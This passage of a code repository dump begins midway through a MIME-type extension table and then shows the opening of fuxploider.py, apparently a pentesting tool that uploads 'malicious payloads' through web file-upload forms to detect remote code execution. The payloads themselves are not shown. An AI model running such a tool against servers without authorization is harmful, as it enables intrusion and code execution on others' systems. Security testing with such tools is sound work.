59 | application/mac-binhex40 hqx
60 | application/mac-compactpro cpt
61 | application/mathematica nb nbp
62 | application/mbox mbox
63 | application/msaccess mdb
64 | application/mxf mxf
65 | application/octet-stream bin deploy msu msp
66 | application/oda oda
67 | application/oebps-package+xml opf
68 | application/ogg ogx
69 | application/onenote one onetoc2 onetmp onepkg
70 | application/pgp-encrypted pgp
71 | application/pgp-keys key
72 | application/pgp-signature sig
73 | application/pics-rules prf
74 | application/sla stl
75 | application/smil+xml smi smil
76 | application/xhtml+xml xhtml xht
77 | application/xml xml xsd
78 | text/asp asp
79 | application/xslt+xml xsl xslt
80 | application/xspf+xml xspf
81 | application/vnd.android.package-archive apk
82 | application/vnd.cinderella cdy
83 | application/vnd.debian.binary-package deb ddeb udeb
84 | application/vnd.font-fontforge-sfd sfd
85 | application/vnd.google-earth.kml+xml kml
86 | application/vnd.google-earth.kmz kmz
87 | application/vnd.mozilla.xul+xml xul
88 | application/vnd.ms-fontobject eot
89 | application/vnd.ms-officetheme thmx
90 | application/vnd.ms-pki.seccat cat
91 | application/vnd.ms-pki.stl stl
92 | application/vnd.oasis.opendocument.chart odc
93 | application/vnd.oasis.opendocument.database odb
94 | application/vnd.oasis.opendocument.formula odf
95 | application/vnd.oasis.opendocument.graphics odg
96 | application/vnd.oasis.opendocument.graphics-template otg
97 | application/vnd.oasis.opendocument.image odi
98 | application/vnd.oasis.opendocument.presentation odp
99 | application/vnd.oasis.opendocument.presentation-template otp
100 | application/vnd.oasis.opendocument.spreadsheet ods
101 | application/vnd.oasis.opendocument.spreadsheet-template ots
102 | application/vnd.oasis.opendocument.text odt
103 | application/vnd.oasis.opendocument.text-master odm
104 | application/vnd.oasis.opendocument.text-template ott
105 | application/vnd.oasis.opendocument.text-web oth
106 | application/vnd.rim.cod cod
107 | application/vnd.smaf mmf
108 | application/vnd.stardivision.calc sdc
109 | application/vnd.stardivision.chart sds
110 | application/vnd.stardivision.draw sda
111 | application/vnd.stardivision.impress sdd
112 | application/vnd.stardivision.math sdf
113 | application/vnd.stardivision.writer sdw
114 | application/vnd.stardivision.writer-global sgl
115 | application/vnd.sun.xml.calc sxc
116 | application/vnd.sun.xml.calc.template stc
117 | application/vnd.sun.xml.draw sxd
118 | application/vnd.sun.xml.draw.template std
119 | application/vnd.sun.xml.impress sxi
120 | application/vnd.sun.xml.impress.template sti
121 | application/vnd.sun.xml.math sxm
122 | application/vnd.sun.xml.writer sxw
123 | application/vnd.sun.xml.writer.global sxg
124 | application/vnd.sun.xml.writer.template stw
125 | application/vnd.symbian.install sis
126 | application/vnd.tcpdump.pcap cap pcap
127 | application/vnd.visio vsd vst vsw vss
128 | application/vnd.wap.wbxml wbxml
129 | application/vnd.wap.wmlc wmlc
130 | application/vnd.wap.wmlscriptc wmlsc
131 | application/vnd.wordperfect wpd
132 | application/vnd.wordperfect5.1 wp5
133 | application/x-123 wk
134 | application/x-abiword abw
135 | application/x-apple-diskimage dmg
136 | application/x-bcpio bcpio
137 | application/x-bittorrent torrent
138 | application/x-cab cab
139 | application/x-cbr cbr
140 | application/x-cbz cbz
141 | application/x-cdf cdf cda
142 | application/x-cdlink vcd
143 | application/x-chess-pgn pgn
144 | application/x-comsol mph
145 | application/x-cpio cpio
146 | application/x-csh csh
147 | application/x-debian-package deb udeb
148 | application/x-director dcr dir dxr
149 | application/x-dms dms
150 | application/x-doom wad
151 | application/x-dvi dvi
152 | application/x-font pfa pfb gsf
153 | application/x-font-pcf pcf pcf.Z
154 | application/x-freemind mm
155 | application/x-futuresplash spl
156 | application/x-ganttproject gan
157 | application/x-gnumeric gnumeric
158 | application/x-go-sgf sgf
159 | application/x-graphing-calculator gcf
160 | application/x-gtar gtar
161 | application/x-gtar-compressed tgz taz
162 | application/x-hdf hdf
163 | application/x-httpd-eruby rhtml
164 | application/x-httpd-php phtml pht php
165 | application/x-httpd-php-source phps
166 | application/x-httpd-php3 php3
167 | application/x-httpd-php3-preprocessed php3p
168 | application/x-httpd-php4 php4
169 | application/x-httpd-php5 php5
170 | application/x-hwp hwp
171 | application/x-ica ica
172 | application/x-info info
173 | application/x-internet-signup ins isp
174 | application/x-iphone iii
175 | application/x-iso9660-image iso
176 | application/x-jam jam
177 | application/x-java-jnlp-file jnlp
178 | application/x-jmol jmz
179 | application/x-kchart chrt
180 | application/x-killustrator kil
181 | application/x-koan skp skd skt skm
182 | application/x-kpresenter kpr kpt
183 | application/x-kspread ksp
184 | application/x-kword kwd kwt
185 | application/x-latex latex
186 | application/x-lha lha
187 | application/x-lyx lyx
188 | application/x-lzh lzh
189 | application/x-lzx lzx
190 | application/x-maker frm maker frame fm fb book fbdoc
191 | application/x-mif mif
192 | application/x-mpegURL m3u8
193 | application/x-ms-application application
194 | application/x-ms-manifest manifest
195 | application/x-ms-wmd wmd
196 | application/x-ms-wmz wmz
197 | application/x-msdos-program com exe bat dll
198 | application/x-msi msi
199 | application/x-netcdf nc
200 | application/x-ns-proxy-autoconfig pac
201 | application/x-nwc nwc
202 | application/x-object o
203 | application/x-oz-application oza
204 | application/x-pkcs7-certreqresp p7r
205 | application/x-pkcs7-crl crl
206 | application/x-python-code pyc pyo
207 | application/x-qgis qgs shp shx
208 | application/x-quicktimeplayer qtl
209 | application/x-rdp rdp
210 | application/x-redhat-package-manager rpm
211 | application/x-rss+xml rss
212 | application/x-ruby rb
213 | application/x-scilab sci sce
214 | application/x-scilab-xcos xcos
215 | application/x-sh sh
216 | application/x-shar shar
217 | application/x-shockwave-flash swf swfl
218 | application/x-silverlight scr
219 | application/x-sql sql
220 | application/x-stuffit sit sitx
221 | application/x-sv4cpio sv4cpio
222 | application/x-sv4crc sv4crc
223 | application/x-tar tar
224 | application/x-tcl tcl
225 | application/x-tex-gf gf
226 | application/x-tex-pk pk
227 | application/x-texinfo texinfo texi
228 | application/x-trash ~ % bak old sik
229 | application/x-troff t tr roff
230 | application/x-troff-man man
231 | application/x-troff-me me
232 | application/x-troff-ms ms
233 | application/x-ustar ustar
234 | application/x-wais-source src
235 | application/x-wingz wz
236 | application/x-x509-ca-cert crt
237 | application/x-xcf xcf
238 | application/x-xfig fig
239 | application/x-xpinstall xpi
240 | application/x-xz xz
241 | audio/amr amr
242 | audio/amr-wb awb
243 | audio/annodex axa
244 | audio/basic au snd
245 | audio/csound csd orc sco
246 | audio/flac flac
247 | audio/midi mid midi kar
248 | audio/mpeg mpga mpega mp2 mp3 m4a
249 | audio/mpegurl m3u
250 | audio/ogg oga ogg opus spx
251 | audio/prs.sid sid
252 | audio/x-aiff aif aiff aifc
253 | audio/x-gsm gsm
254 | audio/x-mpegurl m3u
255 | audio/x-ms-wma wma
256 | audio/x-ms-wax wax
257 | audio/x-pn-realaudio ra rm ram
258 | audio/x-realaudio ra
259 | audio/x-scpls pls
260 | audio/x-sd2 sd2
261 | audio/x-wav wav
262 | chemical/x-alchemy alc
263 | chemical/x-cache cac cache
264 | chemical/x-cache-csf csf
265 | chemical/x-cactvs-binary cbin cascii ctab
266 | chemical/x-cdx cdx
267 | chemical/x-cerius cer
268 | chemical/x-chem3d c3d
269 | chemical/x-chemdraw chm
270 | chemical/x-cif cif
271 | chemical/x-cmdf cmdf
272 | chemical/x-cml cml
273 | chemical/x-compass cpa
274 | chemical/x-crossfire bsd
275 | chemical/x-csml csml csm
276 | chemical/x-ctx ctx
277 | chemical/x-cxf cxf cef
278 | chemical/x-daylight-smiles smi
279 | chemical/x-embl-dl-nucleotide emb embl
280 | chemical/x-galactic-spc spc
281 | chemical/x-gamess-input inp gam gamin
282 | chemical/x-gaussian-checkpoint fch fchk
283 | chemical/x-gaussian-cube cub
284 | chemical/x-gaussian-input gau gjc gjf
285 | chemical/x-gaussian-log gal
286 | chemical/x-gcg8-sequence gcg
287 | chemical/x-genbank gen
288 | chemical/x-hin hin
289 | chemical/x-isostar istr ist
290 | chemical/x-jcamp-dx jdx dx
291 | chemical/x-kinemage kin
292 | chemical/x-macmolecule mcm
293 | chemical/x-macromodel-input mmd mmod
294 | chemical/x-mdl-molfile mol
295 | chemical/x-mdl-rdfile rd
296 | chemical/x-mdl-rxnfile rxn
297 | chemical/x-mdl-sdfile sd sdf
298 | chemical/x-mdl-tgf tgf
299 | chemical/x-mif mif
300 | chemical/x-mmcif mcif
301 | chemical/x-mol2 mol2
302 | chemical/x-molconn-Z b
303 | chemical/x-mopac-graph gpt
304 | chemical/x-mopac-input mop mopcrt mpc zmt
305 | chemical/x-mopac-out moo
306 | chemical/x-mopac-vib mvb
307 | chemical/x-ncbi-asn1 asn
308 | chemical/x-ncbi-asn1-ascii prt ent
309 | chemical/x-ncbi-asn1-binary val aso
310 | chemical/x-ncbi-asn1-spec asn
311 | chemical/x-pdb pdb ent
312 | chemical/x-rosdal ros
313 | chemical/x-swissprot sw
314 | chemical/x-vamas-iso14976 vms
315 | chemical/x-vmd vmd
316 | chemical/x-xtel xtel
317 | chemical/x-xyz xyz
318 | image/ief ief
319 | image/jp2 jp2 jpg2
320 | image/jpm jpm
321 | image/jpx jpx jpf
322 | image/pcx pcx
323 | image/svg+xml svg svgz
324 | image/vnd.djvu djvu djv
325 | image/vnd.microsoft.icon ico
326 | image/vnd.wap.wbmp wbmp
327 | image/x-canon-cr2 cr2
328 | image/x-canon-crw crw
329 | image/x-cmu-raster ras
330 | image/x-coreldraw cdr
331 | image/x-coreldrawpattern pat
332 | image/x-coreldrawtemplate cdt
333 | image/x-corelphotopaint cpt
334 | image/x-epson-erf erf
335 | image/x-jg art
336 | image/x-jng jng
337 | image/x-nikon-nef nef
338 | image/x-olympus-orf orf
339 | image/x-photoshop psd
340 | image/x-portable-anymap pnm
341 | image/x-portable-bitmap pbm
342 | image/x-portable-graymap pgm
343 | image/x-portable-pixmap ppm
344 | image/x-rgb rgb
345 | image/x-xbitmap xbm
346 | image/x-xpixmap xpm
347 | image/x-xwindowdump xwd
348 | message/rfc822 eml
349 | model/iges igs iges
350 | model/mesh msh mesh silo
351 | model/vrml wrl vrml
352 | model/x3d+vrml x3dv
353 | model/x3d+xml x3d
354 | model/x3d+binary x3db
355 | text/cache-manifest appcache
356 | text/calendar ics icz
357 | text/css css
358 | text/csv csv
359 | text/h323 323
360 | text/html html htm shtml
361 | text/iuls uls
362 | text/mathml mml
363 | text/richtext rtx
364 | text/scriptlet sct wsc
365 | text/texmacs tm
366 | text/tab-separated-values tsv
367 | text/turtle ttl
368 | text/vcard vcf vcard
369 | text/vnd.sun.j2me.app-descriptor jad
370 | text/vnd.wap.wml wml
371 | text/vnd.wap.wmlscript wmls
372 | text/x-bibtex bib
373 | text/x-boo boo
374 | text/x-c++hdr h++ hpp hxx hh
375 | text/x-c++src c++ cpp cxx cc
376 | text/x-chdr h
377 | text/x-component htc
378 | text/x-csh csh
379 | text/x-csrc c
380 | text/x-dsrc d
381 | text/x-diff diff patch
382 | text/x-haskell hs
383 | text/x-java java
384 | text/x-lilypond ly
385 | text/x-literate-haskell lhs
386 | text/x-moc moc
387 | text/x-pascal p pas
388 | text/x-pcs-gcd gcd
389 | text/x-perl pl pm
390 | text/x-python py
391 | text/x-scala scala
392 | text/x-setext etx
393 | text/x-sfv sfv
394 | text/x-sh sh
395 | text/x-tcl tcl tk
396 | text/x-tex tex ltx sty cls
397 | text/x-vcalendar vcs
398 | video/3gpp 3gp
399 | video/annodex axv
400 | video/dl dl
401 | video/dv dif dv
402 | video/fli fli
403 | video/gl gl
404 | video/mpeg mpeg mpg mpe
405 | video/MP2T ts
406 | video/mp4 mp4
407 | video/quicktime qt mov
408 | video/ogg ogv
409 | video/webm webm
410 | video/vnd.mpegurl mxu
411 | video/x-flv flv
412 | video/x-la-asf lsf lsx
413 | video/x-mng mng
414 | video/x-ms-asf asf asx
415 | video/x-ms-wm wm
416 | video/x-ms-wmv wmv
417 | video/x-ms-wmx wmx
418 | video/x-ms-wvx wvx
419 | video/x-msvideo avi
420 | video/x-sgi-movie movie
421 | video/x-matroska mpv mkv
422 | x-conference/x-cooltalk ice
423 | x-epoc/x-sisx-app sisx
424 | x-world/x-vrml vrm vrml wrl
--------------------------------------------------------------------------------
/fuxploider.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import os
4 | import argparse
5 | import logging
6 | import datetime
7 | import getpass
8 | import json
9 | import random
10 | import concurrent.futures
11 |
12 | import coloredlogs
13 | import requests
14 | import sys
15 |
16 | from utils import *
17 | from UploadForm import UploadForm
18 | from threading import Lock
19 |
20 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
21 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
22 |
23 | __version__ = "1.0.0"
24 | logging.basicConfig(datefmt='[%m/%d/%Y-%H:%M:%S]')
25 | logger = logging.getLogger("fuxploider")
26 | coloredlogs.install(
27 | logger=logger,
28 | fmt='%(asctime)s %(levelname)s - %(message)s',
29 | level=logging.INFO
30 | )
31 | logging.getLogger("requests").setLevel(logging.ERROR)
32 |
33 | #################### TEMPLATES DEFINITION HERE ######################
34 | templatesFolder = "payloads"
35 | with open("templates.json", "r", encoding='utf-8') as fd:
36 | templates = json.loads(fd.read())
37 |
38 | #######################################################################
39 | templatesNames = [t["templateName"] for t in templates]
40 | templatesSection = ("[TEMPLATES]\nTemplates are malicious payloads meant to be uploaded "
41 | "on the scanned remote server. Code execution detection is done "
42 | "based on the expected output of the payload.")
43 | templatesSection += "\n\tDefault templates are the following (name - description): "
44 | for t in templates:
45 | templatesSection += "\n\t * '{templateName}' - '{description}'".format(
46 | templateName=t["templateName"],
47 | description=t["description"]
48 | )
49 |
50 | parser = argparse.ArgumentParser(
51 | epilog=templatesSection,
52 | description=__doc__,
53 | formatter_class=argparse.RawTextHelpFormatter
54 | )
55 | parser.add_argument("-d", "--data", metavar="postData", dest="data", help="Additionnal data to be transmitted via POST method. Example: -d \"key1=value1&key2=value2\"", type=valid_postData)
56 | parser.add_argument("--proxy", metavar="proxyUrl", dest="proxy", help="Proxy information. Example: --proxy \"user:password@proxy.host:8080\"", type=valid_proxyString)
57 | parser.add_argument("--proxy-creds", metavar="credentials", nargs='?', const=True, dest="proxyCreds", help="Prompt for proxy credentials at runtime. Format: 'user:pass'", type=valid_proxyCreds)
58 | parser.add_argument("-f", "--filesize", metavar="integer", nargs=1, default=["10"], dest="size", help="File size to use for files to be created and uploaded (in kB).")
59 | parser.add_argument("--cookies", metavar="omnomnom", nargs=1, dest="cookies", help="Cookies to use with HTTP requests. Example: PHPSESSID=aef45aef45afeaef45aef45&JSESSID=AQSEJHQSQSG", type=valid_postData)
60 | parser.add_argument("--uploads-path", default=[None], metavar="path", nargs=1, dest="uploadsPath", help="Path on the remote server where uploads are put. Example: '/tmp/uploads/'")
61 | parser.add_argument("-t", "--template", metavar="templateName", nargs=1, dest="template", help="Malicious payload to use for code execution detection. Default is to use every known templates. For a complete list of templates, see the TEMPLATE section.")
62 | parser.add_argument("-r", "--regex-override", metavar="regex", nargs=1, dest="regexOverride", help="Specify a regular expression to detect code execution. Overrides the default code execution detection regex defined in the template in use.", type=valid_regex)
63 |
64 | requiredNamedArgs = parser.add_argument_group('Required named arguments')
65 | requiredNamedArgs.add_argument("-u", "--url", metavar="target", dest="url", required=True, help="Web page URL containing the file upload form to be tested. Example: http://test.com/index.html?action=upload", type=valid_url)
66 | requiredNamedArgs.add_argument("--not-regex", metavar="regex", help="Regex matching an upload failure", type=valid_regex, dest="notRegex")
67 | requiredNamedArgs.add_argument("--true-regex", metavar="regex", help="Regex matching an upload success", type=valid_regex, dest="trueRegex")
68 |
69 | exclusiveArgs = parser.add_mutually_exclusive_group()
70 | exclusiveArgs.add_argument("-l", "--legit-extensions", metavar="listOfExtensions", dest="legitExtensions", nargs=1, help="Legit extensions expected, for a normal use of the form, comma separated. Example: 'jpg,png,bmp'")
71 | exclusiveArgs.add_argument("-n", metavar="n", nargs=1, default=["100"], dest="n", help="Number of common extensions to use. Example: -n 100", type=valid_nArg)
72 |
73 | exclusiveVerbosityArgs = parser.add_mutually_exclusive_group()
74 | exclusiveVerbosityArgs.add_argument("-v", action="store_true", required=False, dest="verbose", help="Verbose mode")
75 | exclusiveVerbosityArgs.add_argument("-vv", action="store_true", required=False, dest="veryVerbose", help="Very verbose mode")
76 | exclusiveVerbosityArgs.add_argument("-vvv", action="store_true", required=False, dest="veryVeryVerbose", help="Much verbose, very log, wow.")
77 |
78 | parser.add_argument("-s", "--skip-recon", action="store_true", required=False, dest="skipRecon", help="Skip recon phase, where fuxploider tries to determine what extensions are expected and filtered by the server. Needs -l switch.")
79 | parser.add_argument("-y", action="store_true", required=False, dest="detectAllEntryPoints", help="Force detection of every entry points. Will not stop at first code exec found.")
80 | parser.add_argument("-T", "--threads", metavar="Threads", nargs=1, dest="nbThreads", help="Number of parallel tasks (threads).", type=int, default=[4])
81 |
82 | exclusiveUserAgentsArgs = parser.add_mutually_exclusive_group()
83 | exclusiveUserAgentsArgs.add_argument("-U", "--user-agent", metavar="useragent", nargs=1, dest="userAgent", help="User-agent to use while requesting the target.", type=str, default=[requests.utils.default_user_agent()])
84 | exclusiveUserAgentsArgs.add_argument("--random-user-agent", action="store_true", required=False, dest="randomUserAgent", help="Use a random user-agent while requesting the target.")
85 |
86 | manualFormArgs = parser.add_argument_group('Manual Form Detection arguments')
87 | manualFormArgs.add_argument("-m", "--manual-form-detection", action="store_true", dest="manualFormDetection", help="Disable automatic form detection. Useful when automatic detection fails due to: (1) Form loaded using Javascript (2) Multiple file upload forms in URL.")
88 | manualFormArgs.add_argument("--input-name", metavar="image", dest="inputName", help="Name of input for file. Example: ")
89 | manualFormArgs.add_argument("--form-action", default="", metavar="upload.php", dest="formAction", help="Path of form action. Example: